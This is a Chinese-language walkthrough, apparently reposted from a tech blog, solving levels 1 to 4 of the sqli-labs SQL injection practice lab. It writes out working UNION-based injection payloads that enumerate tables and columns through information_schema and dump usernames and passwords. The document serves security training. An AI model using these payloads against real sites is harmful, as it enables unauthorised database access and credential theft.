sqli-labs 1~4 多命通关攻略
第一关
进入第一关后,我们可以看到提示信息 Please input the ID as parameter with numeric value,意在让我们使用参数 id 来作为 GET 提交的参数。
判断是否存在 SQL 注入点
通过报错信息,我们可以发现这里存在一个字符型注入点。
注:
不要被错误信息迷惑了,其中最外层的两个单引号是错误信息为了凸显错误部分而设置的,SQL 代码片段应该是上图中的选中文本部分。
MySQL 中的注释
MySQL 中的注释分为两种,– 、 # 及 /**/。其中 – 与 # 为单行注释,而 /**/ 则为多行注释。虽然这三种都具有注释的功效,但是每一个都有它的特点,适用于不同的场景之中。
方式 | 局限 |
---|---|
— | 使用 — 符号对语句注释时,后面不可以紧跟被注释语句,需要有空格将两者隔开,因此常在 — 后面跟上 +,因为 + 在 URL 中表示空格 |
# | # 在 URL 中表示锚点,# 及其后面的内容是不会提交给服务器的,如果仍想使用该符号完成 SQL 注入,可以使用其 URL 编码 %23 来代替 |
/**/ | 使用这个需要将 */ 放到目标代码(想要注释的代码片段)的后部分,但在注释过程中往往是做不到的 |
因此,在 SQL 注入过程中,最长使用的注释符号是 –+ (至于为什么有 + 号,想必经过上面的介绍应该是懂的吧)。
判断 SQL 返回的查询结果中的列数
联合(使用 union 关键字实施的注入)注入前,需要先了解返回结果所包含的列数。
在使用如下语句进行注入后,提示报错信息,说明返回结果中包含了 3 列。
?id=1' order by 4--+
联合注入
判断显示位
我们需要判断返回的三列中,哪几列会显示到页面中,于是构造如下语句:
?id=' union select 1,2,3--+
显示结果如下:
数据库 information_schema 的妙用
在数据库管理系统 MySQL 中存在一个数据库 information_schema,其中有两个表在 SQL 注入中常常使用到:
表 | 描述 | 字段 |
---|---|---|
tables | 提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。命令 show tables from schemaname 的结果便取自此表。 | table_schema 可以限定被选定表所属的数据库 |
columns | 提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。命令 show columns from schemaname.tablename 的结果取自此表 | table_name 可以限定被选定列所属的表。 |
对当前数据库中含有的表进行爆破
构造语句获取当前数据库中所有的表的名称:
?id=' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+
注:
database() 函数返回当前正在使用的数据库的名称。
group_concat() 函数的妙用
group_concat() 函数可以将同属于一个字段的数行记录汇聚到一行中,便于我们对结果的观察。
如果不使用该函数,你可以像这样去观察返回的每一个数据:
- 使用 limit 语句
limit 语句接受两个参数,第一个为偏移量(从 0 开始计数),第二个参数为选取的记录数(从 1 开始)。于是为了选择第四行记录(users),可以构造语句
?id=' union select 1,database(),table_name from information_schema.tables where table_schema=database() limit 3,1--+
为了选择第二行记录(referers),可以构造语句:
?id=' union select 1,database(),table_name from information_schema.tables where table_schema=database() limit 1,1--+
2. 通过 id 直接选中(不可行,但具有教育意义)
由于当参数 id 的值为数字 1~14 时,都会显示一个用户的用户名和密码,而当值为 15 时,查询结果为空。
这说明在使用联合注入查询前共有 14 行记录,于是,为了获取联合查询后的第 18 行记录(即 users),可以构造语句:
?id=18' union select 1,database(),table_name from information_schema.tables where table_schema=database()--+
但好像并不可行
那就试试查询第二行记录
再试试查询第一千行记录
苦想之下,终于得出了一个结论:
当指定的行数在 1~14 的范围内时,我们是在原来的数据中进行查询。而当超出这个范围时,union 前一部分的 SQL 查询结果为空,后一部分的查询结果中的第一行成为这整一个查询语句的第一行,而 where 语句仅作用于前部分语句,所以当我们使 id 的值为 1000 时,MySQL 仍旧没有报错,而是显示了后部分查询结果的第一行,即 emails。因此,第二种方法并不可行。
下面是该页面的部分代码:
group_concat() 函数的缺点
通过上面的介绍,我想各位都会更愿意使用 group_concat() 函数而不是 limit 关键字,因为 group_concat() 函数一次性就可以显示所有内容,而 limit 却只能一个一个的显示。
在遇到上述需要使用 group_concat() 及 limit 的场景时,我不推荐使用其中的一种,应该都用起来。group_concat() 虽然可以一次性显示完全,但如果遇到了存在长度限制,导致部分内容缺失将影响到后续的注入。
假如完整的查询结果是这样的:
emails,referers,uagents,users
而由于网页的设计你只能看到这么一部分内容:
emails,referers,uagents,user
或
emails,referers,uagents
那么,后续的渗透就有可能会受到影响。
在下一个板块 对当前数据库中含有的列名进行爆破 中同时使用 group_concat() 及 limit 来避免这类情况的发生。
对某个表中含有的列名进行爆破
该数据库中有多个表,我们选择表 users 来进行爆破,构造语句如下:
?id=' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users'--+
注:
构造的语句中 table_name 的值为一个字符串,所以在构造的语句中,我为 users 添加了引号。
为防止显示的最后一个字段名(password)不是完整的,虽然从英文的角度来说它是完整的,但我们仍然应该试一试。因此,构造语句如下:
?id=' union select 1,database(),column_name from information_schema.columns where table_name='users' limit 5,1--+
这证明了 password 列的列名并没有因为网页的设计而缺失。
接下来我们将构造一个语句判断 password 是否为最后一个列的列名。
?id=' union select 1,database(),column_name from information_schema.columns where table_name='users' limit 6,1--+
结果表明,最后一个列的列名确实为 password,没有列因为网页设计的缘故而显示不全。
对某个表中的字段值进行爆破
这里我将爆破 users 表中的 username 及 password 字段值,在看完后你也可以尝试爆破其他的内容。
构造语句如下:
?id=' union select 1,group_concat(username),group_concat(password) from users--+
当然,你也可以像前面那样同时使用 group_concat() 和 limit 来检测是否有字段值因为网页的设计原因而显示不全。在进行重要的渗透测试时,尤其应该如此,但在这里我就不再演示了。
至此,第一关已被成功攻破。
第二关
为判断是否存在注入点,构造如下语句:
?id='
由返回结果可以判断,该处存在注入点且为数字型注入,因此不需要使用引号进行闭合,其他的与第一关无异。
第三关
同样先来判断是否存在注入点还有注入类型。为此,构造语句如下:
?id='
可以发现,这是一个字符型注入,且在引号外还存在括号。因此,本关需要对引号及括号进行闭合。
例如:
?id=') or 1=1--+
由于或运算符 or 两边中有一边执行结果为 true,所以返回 true。
再构造语句:
?id=') or 1=2--+
由于 or 两边的执行结果均为 false,于是返回 false,故该查询语句将返回一个 empty set。这证明了这样闭合是有效的,其他方面与前两关无异。
第四关
在第四关,我们使用同样的语句来判断注入点类型。
?id='
奇怪的是,并没有产生错误。这说明,SQL 语句并没有被破坏但内容并不符合程序的期待,因此没有返回内容。所以我们可以尝试使用双引号来破坏 SQL 语句的正常结构以使其显示报错信息。
构造语句如下:
?id="
可以看到报错信息了。实现 SQL 注入需要正确闭合双引号和括号。其他部分与前三关无异。
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/84048.html